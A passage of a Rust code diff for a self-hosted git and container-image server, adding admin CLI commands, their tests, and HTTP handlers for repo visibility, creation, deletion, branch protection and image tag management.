it carries every L0 entry and is unreadable. + let f = |k: &str| { + v.pointer(&format!("/{k}")).map(|x| x.to_string()).unwrap_or("?".into()) + }; + println!("replay_after_wal_id = {}", f("replay_after_wal_id")); + println!("next_wal_sst_id = {}", f("next_wal_sst_id")); + println!("last_l0_clock_tick = {}", f("last_l0_clock_tick")); + println!("writer_epoch = {}", f("writer_epoch")); + } + Ok(None) => println!("no manifest — the map has never been written"), + Err(e) => println!("reading the manifest failed: {e}"), + } + + let before = count(store.os.clone(), wal.clone()).await; + println!("wal objects before = {before}"); + let opts = slatedb::config::GarbageCollectorOptions { + wal_options: Some(slatedb::config::GarbageCollectorDirectoryOptions { + interval: None, + min_age: std::time::Duration::from_secs(min_age), + dry_run: false, + }), + ..Default::default() + }; + match admin.run_gc_once(opts).await { + Ok(()) => println!("collection ran"), + Err(e) => println!("collection FAILED: {e}"), + } + println!("wal objects after = {}", count(store.os.clone(), wal).await); + Ok(()) + } + ["admin", "create-repo", path] => { + let (o, n) = path.split_once('/').ok_or("owner/name")?; + fleet_guard("admin create-repo", path)?; + store.create_repo(o, n).await + } + ["admin", "revoke-tokens", owner] => { + let n = store.revoke_tokens_for(owner).await?; + println!("revoked {n} token(s) for {owner}"); + Ok(()) + } + ["admin", "add-token", owner] => { + // Same rule the api tier applies: a credential for an owner no URL can name is a + // credential nothing can use, and a reserved name (`api`, `v2`) would be worse. + if !crate::store::valid_owner(owner) { + return Err(crate::err(format!("{owner}: not a valid owner name"))); + } + println!("{}", store.create_token(owner).await?); + Ok(()) + } + ["admin", "add-key", owner, file] => { + if !crate::store::valid_owner(owner) { + return Err(crate::err(format!("{owner}: not a valid owner name"))); + } + let line = std::fs::read_to_string(file)?; + let fp = ssh_fingerprint(&line)?; + store.add_ssh_key(owner, &fp).await + } + ["admin", "purge-cache", path] => { + let (o, n) = path.split_once('/').ok_or("owner/name")?; + store.cache.bump_generation(&format!("{o}/{n}")).await + } + ["admin", "set-visibility", path, vis] => { + let (o, n) = path.split_once('/').ok_or("owner/name")?; + if !matches!(*vis, "public" | "private") { + return Err(crate::err("visibility must be public or private")); + } + // The flip changes LIVE authorization, so it must happen on the handle that serves the + // repo. Writing it here would open the repo's database as a second process while the + // owning node keeps answering from its own view — measured at ~4s of a private repo + // still being served as public. With a fleet configured, post it to the peer Service + // and let the `route` middleware deliver it to the owner. + // + // "Configured" is EITHER variable: keying on the secret alone would make an operator + // whose shell happens not to export it take the direct path silently, reintroducing + // exactly that window. Neither set is still a guess — this process cannot see whether a + // node is serving the repo — so the direct path says out loud what it is assuming. + let upstream = std::env::var("RUSTIC_GIT_UPSTREAM").ok(); + let secret = std::env::var("RUSTIC_GIT_PEER_SECRET").ok(); + if upstream.is_none() && secret.is_none() { + eprintln!( + "set-visibility: no RUSTIC_GIT_UPSTREAM or RUSTIC_GIT_PEER_SECRET set — \ + writing {path} directly, assuming NO node is currently serving it. If one is, \ + it keeps authorizing from its own view for several seconds; set both and \ + re-run to route the flip through the owner." + ); // CLI output: a person ran this admin subcommand; RUST_LOG must not be able to suppress it. + return store.set_public(o, n, *vis == "public").await; + } + post_to_owner("set-visibility", o, &format!("/api/{o}/{n}/visibility?visibility={vis}"), upstream, secret).await + } + ["admin", "set-image-visibility", path, vis] => { + let (o, n) = path.split_once('/').ok_or("owner/image")?; + if !matches!(*vis, "public" | "private") { + return Err(crate::err("visibility must be public or private")); + } + // Mirrors `set-visibility` exactly: `imagevisibility` is a routed browse endpoint + // (by the IMAGE key), so with a fleet configured the flip is delivered to the node + // that owns the image's database rather than written here under a live writer. + // Same either-variable test for "configured", for the same reason. + let upstream = std::env::var("RUSTIC_GIT_UPSTREAM").ok(); + let secret = std::env::var("RUSTIC_GIT_PEER_SECRET").ok(); + if upstream.is_none() && secret.is_none() { + eprintln!( + "set-image-visibility: no RUSTIC_GIT_UPSTREAM or RUSTIC_GIT_PEER_SECRET set — \ + writing {path} directly, assuming NO node is currently serving it. If one is, it \ + keeps answering from its own view for several seconds." + ); // CLI output: a person ran this admin subcommand; RUST_LOG must not be able to suppress it. + return store.set_image_visibility(o, n, *vis == "public").await; + } + post_to_owner( + "set-image-visibility", + o, + &format!("/api/{o}/{n}/imagevisibility?visibility={vis}"), + upstream, + secret, + ) + .await + } + _ => Err(crate::err( + "usage: rustic-git serve | admin create-repo / | admin fork / / | admin delete-repo / | admin purge-ghost-repo / | admin ownership-gc [min-age-secs] | admin repack / | admin add-token | admin revoke-tokens | admin add-key | admin set-visibility / public|private | admin set-image-visibility / public|private | admin purge-cache /", + )), + } +} + +#[cfg(test)] +mod tests { + use super::{fleet_check, run}; + + #[test] + fn fleet_guard_refuses_when_either_var_is_set() { + assert!(fleet_check("admin repack", "alice/web", None, None).is_ok()); + assert!(fleet_check("admin repack", "alice/web", Some("http://x".into()), None).is_err()); + assert!(fleet_check("admin repack", "alice/web", None, Some("secret".into())).is_err()); + assert!(fleet_check( + "admin repack", + "alice/web", + Some("http://x".into()), + Some("secret".into()) + ) + .is_err()); + } + + // `set_visibility_routes_unless_nothing_is_configured` and `set_image_visibility_writes_it` + // both mutate the process-wide RUSTIC_GIT_UPSTREAM/RUSTIC_GIT_PEER_SECRET env vars; without + // this they race each other across threads. + // An async mutex, not a std one: both tests await while holding it, and a std guard held + // across `.await` can park the whole runtime thread on a lock another task must release. + static ENV_LOCK: tokio::sync::Mutex<()> = tokio::sync::Mutex::const_new(()); + + pub(crate) async fn store() -> std::sync::Arc { + // Leaked so the store outlives the temp dir without a struct to hold both. + let tmp = Box::leak(Box::new(tempfile::tempdir().unwrap())); + std::sync::Arc::new( + crate::store::Store::open( + std::sync::Arc::new(slatedb::object_store::memory::InMemory::new()), + tmp.path().join("cache"), + false, + ) + .await + .unwrap(), + ) + } + + /// Both halves of the fleet-vs-direct choice, in ONE test: it mutates process-wide env vars, + /// and a second test doing the same would race it. + /// + /// Catches: (1) the fallback being lost when the flip moved onto the peer endpoint; (2) the + /// branch keying on the SECRET alone — an operator whose shell does not export it, but who has + /// an upstream configured, would silently write directly against a live fleet, which is the + /// stale-authorization window this change exists to close. + #[tokio::test] + async fn set_visibility_routes_unless_nothing_is_configured() { + let _guard = ENV_LOCK.lock().await; + let store = store().await; + run(&["admin", "create-repo", "alice/web"], &store).await.unwrap(); + + // Nothing configured: a single node or an offline run. Writes directly (with a warning). + std::env::remove_var("RUSTIC_GIT_PEER_SECRET"); + std::env::remove_var("RUSTIC_GIT_UPSTREAM"); + run(&["admin", "set-visibility", "alice/web", "public"], &store).await.unwrap(); + assert!(store.is_public("alice", "web").await.unwrap()); + + // An upstream configured but no secret in this shell: must still go to the fleet, and fail + // loudly when it cannot reach it — never write here. + std::env::set_var("RUSTIC_GIT_UPSTREAM", "http://127.0.0.1:1"); + let e = run(&["admin", "set-visibility", "alice/web", "private"], &store) + .await + .expect_err("an unreachable fleet must fail, not fall back to a direct write"); + assert!(store.is_public("alice", "web").await.unwrap(), "nothing written here: {e}"); + std::env::remove_var("RUSTIC_GIT_UPSTREAM"); + store.pool.close().await; + } + + /// `set_image_visibility` had zero non-test callers before this command existed, which made + /// every image private forever. This is the CLI's only path to it. + /// + /// Also covers the fleet-vs-direct guard, in ONE test since it mutates process-wide env vars + /// and a second test doing the same would race it. It mirrors `set-visibility` exactly: a + /// configured fleet means the flip is posted to the routed `imagevisibility` endpoint, so this + /// catches the guard writing here anyway when only one of the two vars is set. + #[tokio::test] + async fn set_image_visibility_writes_it() { + let _guard = ENV_LOCK.lock().await; + std::env::remove_var("RUSTIC_GIT_PEER_SECRET"); + std::env::remove_var("RUSTIC_GIT_UPSTREAM"); + let store = store().await; + use crate::index::{self, Kind}; + use slatedb::object_store::ObjectStoreExt; + use crate::registry::store::ImageExt; + let pub_path = index::path(true, Kind::Img, "acme", "nginx"); + let priv_path = index::path(false, Kind::Img, "acme", "nginx"); + + assert!(!store.image_is_public("acme", "nginx").await.unwrap()); + run(&["admin", "set-image-visibility", "acme/nginx", "public"], &store).await.unwrap(); + assert!(store.image_is_public("acme", "nginx").await.unwrap()); + assert!(store.os.get(&pub_path).await.is_ok(), "public marker missing after flip"); + assert!(store.os.get(&priv_path).await.is_err(), "private marker left behind after flip"); + + run(&["admin", "set-image-visibility", "acme/nginx", "private"], &store).await.unwrap(); + assert!(!store.image_is_public("acme", "nginx").await.unwrap()); + assert!(store.os.get(&priv_path).await.is_ok(), "private marker missing after flip"); + assert!(store.os.get(&pub_path).await.is_err(), "public marker left behind after flip"); + let e = run(&["admin", "set-image-visibility", "acme/nginx", "sideways"], &store) + .await + .expect_err("only public|private are valid"); + assert!(e.to_string().contains("public or private"), "{e}"); + + // An upstream configured but no secret in this shell: must go to the fleet (the routed + // `imagevisibility` endpoint) and fail loudly when it cannot reach it — never write here. + std::env::set_var("RUSTIC_GIT_UPSTREAM", "http://127.0.0.1:1"); + let e = run(&["admin", "set-image-visibility", "acme/nginx", "public"], &store) + .await + .expect_err("an unreachable fleet must fail, not fall back to a direct write"); + assert!(!store.image_is_public("acme", "nginx").await.unwrap(), "nothing written here: {e}"); + assert!(e.to_string().contains("set-image-visibility"), "{e}"); + assert!(!e.to_string().contains("no routed endpoint"), "{e}"); + std::env::remove_var("RUSTIC_GIT_UPSTREAM"); + + store.pool.close().await; + } + + #[tokio::test] + async fn admin_credentials_refuse_an_invalid_owner() { + let store = store().await; + assert!(run(&["admin", "add-token", "api"], &store).await.is_err()); + assert!(run(&["admin", "add-token", "no/slash"], &store).await.is_err()); + assert!(run(&["admin", "add-token", "alice"], &store).await.is_ok()); + store.pool.close().await; + } +} diff --git a/bins/server/src/browse_api/admin.rs b/bins/server/src/browse_api/admin.rs new file mode 100644 index 00000000..e12623f8 --- /dev/null +++ b/bins/server/src/browse_api/admin.rs @@ -0,0 +1,307 @@ +//! Owning-node repo administration: visibility, create/delete, and branch protection. +use super::{hidden, open_ro}; +use crate::router::internal; +use rustic_git_core::httpx::Trusted; +use crate::App; +use axum::{ + extract::{Path, Query, State}, + http::{HeaderMap, StatusCode}, + response::{IntoResponse, Response}, + Json, +}; +use slatedb::object_store::ObjectStoreExt; +use std::collections::HashMap; +use std::sync::Arc; + +/// Flip a repo's visibility ON THE NODE THAT OWNS IT. Everything else under `/api/` is a read; +/// this one changes live authorization, and that is exactly why it is here: `admin set-visibility` +/// used to open the repo's database as a second process while the owning node kept answering from +/// its own handle, so a repo could be private in the database and still authorized as public by the +/// node serving it (~4s observed). Routed like every other repo-scoped path, the write lands on the +/// same handle that serves the repo — one writer, one view. +/// +/// Authorization is the peer secret alone, deliberately. The secret already grants a caller the +/// right to be told any private repo's contents (`trust_peer` + `Trusted`), so it is not a weaker +/// gate than the reads beside it; and `admin` is a superuser tool, so requiring `OWNER_HEADER` to +/// match the repo's owner would break the legitimate operator case it exists for. The route is on +/// the peer router only, and `route_inner` 404s every `/api/` path on the public listener. +pub(super) async fn api_visibility( + State(app): State>, + Path((owner, name)): Path<(String, String)>, + Query(q): Query>, +) -> Response { + let public = match q.get("visibility").map(String::as_str) { + Some("public") => true, + Some("private") => false, + _ => return (StatusCode::BAD_REQUEST, "visibility must be public or private").into_response(), + }; + let Some((owner, name)) = crate::protocol::parse_repo_path(&format!("{owner}/{name}")) else { + return (StatusCode::BAD_REQUEST, "invalid repository path").into_response(); + }; + // Asks the object store, not the pool: `set_public` goes through `db_for`, which CREATES a + // database for whatever name it is handed. + if !app.store.repo_exists(&owner, &name).await.unwrap_or(false) { + return hidden(); + } + // `set_public` already bumps the cache generation and, on failure, carries the retry + // instruction in its message. Passed through verbatim so the operator sees it. + // + // Serialized per {owner}/{name} so two racing flips cannot interleave `index::write`'s + // delete-then-put (spec §6.5) — same guard `set_image_visibility` takes for images. + let lock = app.store.keyed_lock(&format!("index/repo/{owner}/{name}")); + let _guard = lock.lock().await; + // Remove-permissive-first (spec §6.2) applies to the whole flip: on a private flip, delete + // the PUBLIC marker before the DB row changes, so a crash between here and `write_marker` + // can never leave a stale public marker over what the DB already calls private. + if !public { + let public_path = crate::index::path(true, crate::index::Kind::Repo, &owner, &name); + if let Err(e) = crate::index::ignore_not_found(app.store.os.delete(&public_path).await) { + tracing::warn!(owner = %owner, repo = %name, error = %e, "index pre-delete"); + } + } + match app.store.set_public(&owner, &name, public).await { + Ok(()) => { + write_marker(&app, &owner, &name, public, None).await; + StatusCode::NO_CONTENT.into_response() + } + Err(e) => { + // The flag is written; only the cache bump can have failed. The operator's next step + // is fixed text — the backend's own words stay in the log. + tracing::error!(owner = %owner, repo = %name, error = %e, "set-visibility"); + ( + StatusCode::INTERNAL_SERVER_ERROR, + format!("visibility changed but cached answers may be stale; retry with `admin purge-cache {owner}/{name}`"), + ) + .into_response() + } + } +} + +/// Writes the listing-index marker for a repo. `meta` is `Some` only on create, where the caller +/// supplied the description and author; every other path preserves whatever the existing marker +/// already carries, because listings now read those fields from HERE — a flip that blanked them +/// would empty the description out of every listing. A marker write failure is logged and +/// swallowed — the marker is a view, never the source of truth, so it must never fail the +/// caller's actual create/flip/delete. +async fn write_marker(app: &App, owner: &str, name: &str, public: bool, meta: Option<(&str, &str, i64)>) { + let existing = crate::index::read(&app.store.os, crate::index::Kind::Repo, owner, name).await; + let (description, created_by, created_ms) = match meta { + Some((d, by, at)) => (d.to_string(), by.to_string(), at), + None => ( + existing.as_ref().map(|m| m.description.clone()).unwrap_or_default(), + existing.as_ref().map(|m| m.created_by.clone()).unwrap_or_default(), + existing.as_ref().map(|m| m.created_ms).unwrap_or_else(|| crate::ownership::now_ms() as i64), + ), + }; + let m = crate::index::Marker { + name: name.to_string(), + public, + created_by, + created_ms, + description, + manifests: 0, + updated_ms: 0, + }; + if let Err(e) = crate::index::write(&app.store.os, crate::index::Kind::Repo, owner, &m).await { + tracing::warn!(owner = %owner, repo = %name, error = %e, "index write"); + } +} + +/// Create a repo ON THE NODE THAT OWNS IT, for the same reason `visibility` lives here: a second +/// process opening the repo's database while the owning node holds its own handle is two writers. +/// Routed by `api_route` like every other repo-scoped path, so the node that will serve the repo +/// is the node that creates it — and `App::route` claims a name the map does not yet know BEFORE +/// answering `Local`, so by the time `create_repo` opens the database this node holds its lease. +/// Nothing here opens the repo on the strength of "it does not exist yet". +/// +/// Authorization is the peer secret alone — identical to `visibility` beside it. Whether the +/// CALLER may create under this owner is the api tier's question, not this one's: only the api +/// server knows about users and teams, and this route is unreachable from the public listener. +pub(super) async fn api_create( + State(app): State>, + Path((owner, name)): Path<(String, String)>, + Query(q): Query>, +) -> Response { + let public = match q.get("visibility").map(String::as_str) { + // Absent means private. A repo that defaults to public is a data leak waiting for the one + // caller that forgets the parameter. + None | Some("private") => false, + Some("public") => true, + _ => return (StatusCode::BAD_REQUEST, "visibility must be public or private").into_response(), + }; + let Some((owner, name)) = crate::protocol::parse_repo_path(&format!("{owner}/{name}")) else { + return (StatusCode::BAD_REQUEST, "invalid repository path").into_response(); + }; + // Held across the claim as well as the marker write, because the name's uniqueness now rests + // on THIS check-then-create rather than on a unique index in a central database. Two creates + // of one name route to this node by repo key, so serializing them here is what makes exactly + // one of them win; without the lock both pass `repo_exists` and the second silently wins the + // repo the first was told it had. It is the same key `api_visibility` takes, so a + // create-then-immediate-flip still cannot interleave its `set_public`/`write_marker`. + let lock = app.store.keyed_lock(&format!("index/repo/{owner}/{name}")); + let _guard = lock.lock().await; + match app.store.create_repo(&owner, &name).await { + Ok(()) => {} + Err(e) => { + let msg = e.to_string(); + // Already taken is the caller's answer to render, not our failure. + if msg.contains("already exists") { + return (StatusCode::CONFLICT, "repository already exists").into_response(); + } + if msg.contains("invalid repo path") { + return (StatusCode::BAD_REQUEST, msg).into_response(); + } + tracing::error!(owner = %owner, repo = %name, error = %msg, "create-repo"); + return (StatusCode::INTERNAL_SERVER_ERROR, "could not create repository").into_response(); + } + } + // Only after the repo exists, and only when asked for: `create_repo` leaves it private, so a + // failure here leaves a private repo rather than a public one nobody meant to publish. + if public { + if let Err(e) = app.store.set_public(&owner, &name, true).await { + return internal(e); + } + } + // The repo's own database gets its metadata here, where the single writer is: the caller + // passes the same creation instant it stamped on the index row, so the two cannot disagree + // about when the repo was made. + let created_at_ms = q + .get("created_at_ms") + .and_then(|v| v.parse().ok()) + .unwrap_or_else(|| crate::ownership::now_ms() as i64); + let description = q.get("description").map(String::as_str).unwrap_or_default(); + let created_by = q.get("created_by").map(String::as_str).unwrap_or_default(); + if let Err(e) = app.store.set_repo_meta(&owner, &name, description, created_by, created_at_ms).await { + return internal(e); + } + write_marker(&app, &owner, &name, public, Some((description, created_by, created_at_ms))).await; + StatusCode::CREATED.into_response() +} + +/// Edit a repo's description ON THE NODE THAT OWNS IT, for the same one-writer reason as +/// `create` and `visibility` beside it. +/// +/// Authorization is the peer secret alone, exactly as `api_visibility` documents: whether the +/// human may edit this repo's settings is the api tier's question (`settings_caller` / +/// `may_act_under`), and this route is unreachable from the public listener. +pub(super) async fn api_description( + State(app): State>, + Path((owner, name)): Path<(String, String)>, + Query(q): Query>, +) -> Response { + let Some(description) = q.get("description").cloned() else { + return (StatusCode::BAD_REQUEST, "description is required").into_response(); + }; + let Some((owner, name)) = crate::protocol::parse_repo_path(&format!("{owner}/{name}")) else { + return (StatusCode::BAD_REQUEST, "invalid repository path").into_response(); + }; + // Asked of the object store, not the pool: `set_repo_description` goes through `db_for`, + // which would CREATE a database for a name that never existed. + if !app.store.repo_exists(&owner, &name).await.unwrap_or(false) { + return hidden(); + } + match app.store.set_repo_description(&owner, &name, &description).await { + Ok(()) => StatusCode::NO_CONTENT.into_response(), + Err(e) => internal(e), + } +} + +/// Delete a repo ON THE NODE THAT OWNS IT — same routing reason as `create` and +/// `visibility`. Idempotent: a repo that is already gone is the end state the +/// caller asked for, so it answers 204 rather than 404, which lets the api tier +/// clean up an index row whose repo was removed some other way. +pub(super) async fn api_delete( + State(app): State>, + Path((owner, name)): Path<(String, String)>, +) -> Response { + let Some((owner, name)) = crate::protocol::parse_repo_path(&format!("{owner}/{name}")) else { + return (StatusCode::BAD_REQUEST, "invalid repository path").into_response(); + }; + if !app.store.repo_exists(&owner, &name).await.unwrap_or(false) { + return StatusCode::NO_CONTENT.into_response(); + } + // Same lock key, and for the same reason as `api_create`/`api_visibility`: held across BOTH + // the marker removal and the storage delete, so a concurrent flip cannot slip its + // `write_marker` in between and leave a marker naming a repo that no longer exists. + let lock = app.store.keyed_lock(&format!("index/repo/{owner}/{name}")); + let _guard = lock.lock().await; + // Markers removed BEFORE storage: gone from listings first, so a crash mid-delete never + // leaves a marker pointing at a repo that no longer exists. + if let Err(e) = crate::index::remove(&app.store.os, crate::index::Kind::Repo, &owner, &name).await { + tracing::warn!(owner = %owner, repo = %name, error = %e, "index remove"); + } + match app.store.delete_repo(&owner, &name).await { + Ok(()) => StatusCode::NO_CONTENT.into_response(), + Err(e) => { + tracing::error!(owner = %owner, repo = %name, error = %e, "delete-repo"); + (StatusCode::INTERNAL_SERVER_ERROR, "could not delete the repository").into_response() + } + } +} + +/// Branch protection rules. GET lists them; POST sets one; POST with `remove` +/// drops one. On the owning node because the rules live in the repo's own +/// database — the same database the push path reads them from. +pub(super) async fn api_protect( + State(app): State>, + Path((owner, name)): Path<(String, String)>, + Query(q): Query>, +) -> Response { + let Some((owner, name)) = crate::protocol::parse_repo_path(&format!("{owner}/{name}")) else { + return (StatusCode::BAD_REQUEST, "invalid repository path").into_response(); + }; + if !app.store.repo_exists(&owner, &name).await.unwrap_or(false) { + return hidden(); + } + let Some(pattern) = q.get("pattern").map(|s| s.trim()).filter(|s| !s.is_empty()) else { + return (StatusCode::BAD_REQUEST, "a branch pattern is required").into_response(); + }; + let result = if q.contains_key("remove") { + app.store.remove_protection(&owner, &name, pattern).await + } else { + app.store + .set_protection( + &owner, + &name, + &crate::refs::Protection { + pattern: pattern.to_string(), + // Absent means on: a rule that forbids nothing is a rule + // someone believes is protecting them. + no_force: q.get("no_force").map(|v| v != "0").unwrap_or(true), + no_delete: q.get("no_delete").map(|v| v != "0").unwrap_or(true), + }, + ) + .await + }; + match result { + Ok(()) => StatusCode::NO_CONTENT.into_response(), + Err(e) => { + let msg = e.to_string(); + if msg.contains("pattern") { + return (StatusCode::BAD_REQUEST, msg).into_response(); + } + tracing::error!(owner = %owner, repo = %name, error = %msg, "protect"); + (StatusCode::INTERNAL_SERVER_ERROR, "could not save the rule").into_response() + } + } +} + +pub(super) async fn api_protections( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name)): Path<(String, String)>, +) -> Response { + let Some((owner, name)) = crate::protocol::parse_repo_path(&format!("{owner}/{name}")) else { + return (StatusCode::BAD_REQUEST, "invalid repository path").into_response(); + }; + // A repo's protection rules are as private as the repo. Gate exactly like `api_compare`: + // 404 for a caller who may not see it, 401 to prompt for a token. + if let Err(r) = open_ro(&app, &trusted, &headers, &owner, &name).await { + return r; + } + match app.store.protections(&owner, &name).await { + Ok(list) => Json(list).into_response(), + Err(e) => internal(e), + } +} diff --git a/bins/server/src/browse_api/images.rs b/bins/server/src/browse_api/images.rs new file mode 100644 index 00000000..4cfa143f --- /dev/null +++ b/bins/server/src/browse_api/images.rs @@ -0,0 +1,309 @@ +//! Container-image browse routes: the owner-scoped image list and per-image tag management. +use super::hidden; +use crate::registry::store::ImageExt; +use crate::router::internal; +use rustic_git_core::httpx::Trusted; +use crate::App; +use axum::{ + extract::{Path, Query, State}, + http::{HeaderMap, StatusCode}, + response::{IntoResponse, Response}, + Json, +}; +use futures::StreamExt; +use serde::Serialize; +use slatedb::object_store::ObjectStoreExt; +use std::collections::HashMap; +use std::sync::Arc; + +#[derive(Serialize)] +pub(super) struct ImageSummary { + name: String, + /// Object-store manifest count, NOT a tag count: `images` is owner-scoped and cannot route to + /// any one image's database (tags and visibility both live there), so this reads only the + /// shared object store — see the handler doc below. + manifests: usize, + /// When the newest manifest was written, epoch millis. `None` for an image whose manifests are + /// gone but whose prefix remains — a push that uploaded blobs and never finished. + updated_ms: Option, + /// From the listing-index marker (`false` for an unmarked, pre-backfill image — see + /// `registry::routes::image_listing`'s fallback). Visibility could not be carried here before + /// the marker existed, since it lives in the image's own database, which this handler must + /// never open. + pub public: bool, +} + +/// `GET /api/{owner}/images` — the team's images, for the Container Images page. +/// +/// Owner-scoped rather than repo-scoped, so it is the one browse route whose second segment is not +/// a repo name (see `api_route` in `http.rs`). It still routes: `images` is a `BROWSE_TAILS` entry, +/// but `repo_of` answers `None` for it and the request is served by whichever node received it. +/// That is only safe because this handler reads the shared object store ALONE — it must never call +/// `image_db`/`store.tags`/`store.image_is_public`, each of which opens a specific image's database +/// with no ownership check, fencing that image's legitimate owner if served on the wrong node. Tag +/// counts and visibility both live in that database, which is why `ImageSummary` carries neither. +pub(super) async fn images( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path(owner): Path, + Query(q): Query>, +) -> Response { + // `?public=1` is the team's public face: no caller check and `include_private: false`, so the + // two arms can never be confused — a member who wants the full list asks without the flag. + let public_only = q.get("public").is_some_and(|v| v == "1"); + if !public_only { + match crate::registry::auth::caller(&app, &trusted, &headers).await { + Ok(Some(who)) if who == owner => {} + Ok(_) => return hidden(), + Err(r) => return r, + } + } + let markers = match crate::registry::routes::image_listing(&app, &owner, !public_only).await { + Ok(m) => m, + Err(e) => return internal(e), + }; + let out: Vec = markers + .into_iter() + .map(|m| ImageSummary { + name: m.name, + manifests: m.manifests as usize, + updated_ms: if m.updated_ms > 0 { Some(m.updated_ms) } else { None }, + public: m.public, + }) + .collect(); + Json(out).into_response() +} + +#[derive(Serialize)] +pub(super) struct ImageTag { + tag: String, + digest: String, + /// The manifest document's own size on disk — kilobytes, not the image's size. + size: u64, + /// What pulling this tag actually transfers: the config blob plus every layer, as the manifest + /// itself declares them. Summed from the manifest rather than stored, because nothing writes an + /// image-size field and a stored one could disagree with the layers that are really there. + bytes: u64, + /// When this manifest was written, epoch millis, from the object store's own mtime. + pushed_ms: Option, + /// Manifest GETs by this tag — one per `docker pull`. + pulls: u64, +} + +/// `GET /api/{owner}/{image}/imagetags` — the tag rows the image page needs. Shaped like every +/// other repo-scoped browse route (`{image}` fills the `{name}` slot), but it routes by the IMAGE +/// key (`registry::routing_key`, `img/{owner}/{name}`), not the repo key: `repo_of` in `http.rs` +/// special-cases the `imagetags` tail so this reaches the node that actually holds the image's +/// database, which may differ from whatever node owns a git repo of the same name. +pub(super) async fn imagetags( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name)): Path<(String, String)>, +) -> Response { + match crate::registry::auth::caller(&app, &trusted, &headers).await { + Ok(Some(who)) if who == owner => {} + Ok(_) => return hidden(), + Err(r) => return r, + } + let tags = match app.store.tags(&owner, &name).await { + Ok(t) => t, + Err(e) => return internal(e), + }; + // One future per tag, eight in flight: the four reads per tag are independent of every other + // tag's, and a 100-tag image was 400 serial round trips. `buffered`, not `buffer_unordered`: + // the page shows them in `tags`' order and re-sorting would cost what it saved. + let out: Vec = futures::stream::iter(tags) + .map(|tag| { + let (app, owner, name) = (app.clone(), owner.clone(), name.clone()); + async move { + let d = app.store.tag(&owner, &name, &tag).await.unwrap_or(None)?; + // The manifest's own bytes, not a maintained size field: nothing writes one, and + // asking the object store directly can never disagree with what was pushed. + let path = crate::registry::store::manifest_path(&owner, &name, &d); + // One GET: its `meta` is the same ObjectMeta a HEAD returns, and this ran + // HEAD + GET on the same key per tag. Reading the manifest to ADD UP its + // declared sizes — never to re-emit it. The digest is over the exact bytes, + // so nothing here may write a manifest back. + let (size, pushed_ms, bytes) = match app.store.os.get(&path).await { + Ok(r) => { + let (size, pushed) = (r.meta.size, r.meta.last_modified.timestamp_millis()); + (size, Some(pushed), r.bytes().await.map(|b| declared_size(&b)).unwrap_or(0)) + } + Err(_) => (0, None, 0), + }; + let pulls = app.store.pulls(&owner, &name, &tag).await.unwrap_or(0); + Some(ImageTag { tag, digest: d.to_string(), size, bytes, pushed_ms, pulls }) + } + }) + .buffered(8) + .filter_map(|t| async move { t }) + .collect() + .await; + Json(out).into_response() +} + +/// `POST /api/{owner}/{image}/imagetagdelete` — remove one tag. The body is the tag name, plain +/// text, matching the shape of every other browse write here. +/// +/// Deletes ONLY the tag row (`store.delete_tag`); the manifest it pointed at is left alone. Other +/// tags may still reference that manifest, and an unreferenced one is a garbage-collection +/// question, not something a single tag delete is in a position to answer. +pub(super) async fn imagetagdelete( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name)): Path<(String, String)>, + body: axum::body::Bytes, +) -> Response { + match crate::registry::auth::caller(&app, &trusted, &headers).await { + Ok(Some(who)) if who == owner => {} + Ok(_) => return hidden(), + Err(r) => return r, + } + let tag = String::from_utf8_lossy(&body).trim().to_string(); + if tag.is_empty() { + return (StatusCode::BAD_REQUEST, "missing tag").into_response(); + } + if !app.store.image_exists(&owner, &name).await.unwrap_or(false) { + return hidden(); + } + match app.store.delete_tag(&owner, &name, &tag).await { + Ok(()) => StatusCode::NO_CONTENT.into_response(), + Err(e) => internal(e), + } +} + +/// `POST /api/{owner}/{image}/imagedelete` — remove the whole image. +/// +/// Deletes every manifest object under `manifests/{owner}/{image}/`, then hands off to +/// `Store::delete_image` for the database side — every row this image owns, plus the database's +/// own storage, so it also stops appearing in the Container Images list (see that method's doc +/// comment for why clearing rows alone is not enough). Never touches blobs: `blobs::delete_blob` +/// states the invariant this route honours — "no manifest delete removes a blob... that is the +/// sweeper's job, because only it can see every image that might share the layer" — so layer data +/// is reclaimed later by the sweeper, not here. Scoped entirely to THIS image's own database and +/// its own manifest prefix; a sibling image, even one owned by the same team, lives under a +/// different key and a different prefix and is never read or written by this handler. +pub(super) async fn imagedelete( + State(app): State>, + axum::Extension(trusted): axum::Extension, + headers: HeaderMap, + Path((owner, name)): Path<(String, String)>, +) -> Response { + match crate::registry::auth::caller(&app, &trusted, &headers).await { + Ok(Some(who)) if who == owner => {} + Ok(_) => return hidden(), + Err(r) => return r, + } + if !app.store.image_exists(&owner, &name).await.unwrap_or(false) { + return hidden(); + } + // Marker first: a crash after this point leaves orphaned manifest/db bytes for GC to sweep, + // never a listing entry for storage that's (partly) gone. + if let Err(e) = crate::index::remove(&app.store.os, crate::index::Kind::Img, &owner, &name).await { + return internal(e); + } + use slatedb::object_store::ObjectStore; + use futures::{StreamExt, TryStreamExt}; + let prefix = slatedb::object_store::path::Path::from(format!("manifests/{owner}/{name}")); + // `delete_stream` feeds deletes straight off the listing — the collect-then-delete loop + // paid one round trip per manifest. NotFound per object is tolerated: another delete of + // the same image racing this one changes nothing about the end state. + let doomed = app.store.os.list(Some(&prefix)).map_ok(|m| m.location).boxed(); + let mut results = app.store.os.delete_stream(doomed); + while let Some(r) = results.next().await { + match r { + Ok(_) | Err(slatedb::object_store::Error::NotFound { .. }) => {} + Err(e) => return internal(e.into()), + } + } + match app.store.delete_image(&owner, &name).await { + Ok(()) => StatusCode::NO_CONTENT.into_response(), + Err(e) => internal(e), + } +} + +/// What a pull of this manifest transfers: its config blob plus every layer. +/// +/// An index (a multi-platform image) names other MANIFESTS rather than layers; its entries carry +/// their own `size`, so summing them gives the index's total across platforms. Anything +/// unrecognised sums to zero rather than guessing — a wrong number shown confidently is worse than +/// no number. +pub(super) fn declared_size(bytes: &[u8]) -> u64 { + let Ok(v) = serde_json::from_slice::(bytes) else { return 0 }; + let mut total = v.get("config").and_then(|c| c.get("size")).and_then(|s| s.as_u64()).unwrap_or(0); + for key in ["layers", "manifests"] { + if let Some(items) = v.get(key).and_then(|l| l.as_array()) { + // saturating: an attacker-controlled manifest can list sizes near u64::MAX; this is + // a size hint for display, not an allocation, so clamping beats panicking/wrapping. + total = items + .iter() + 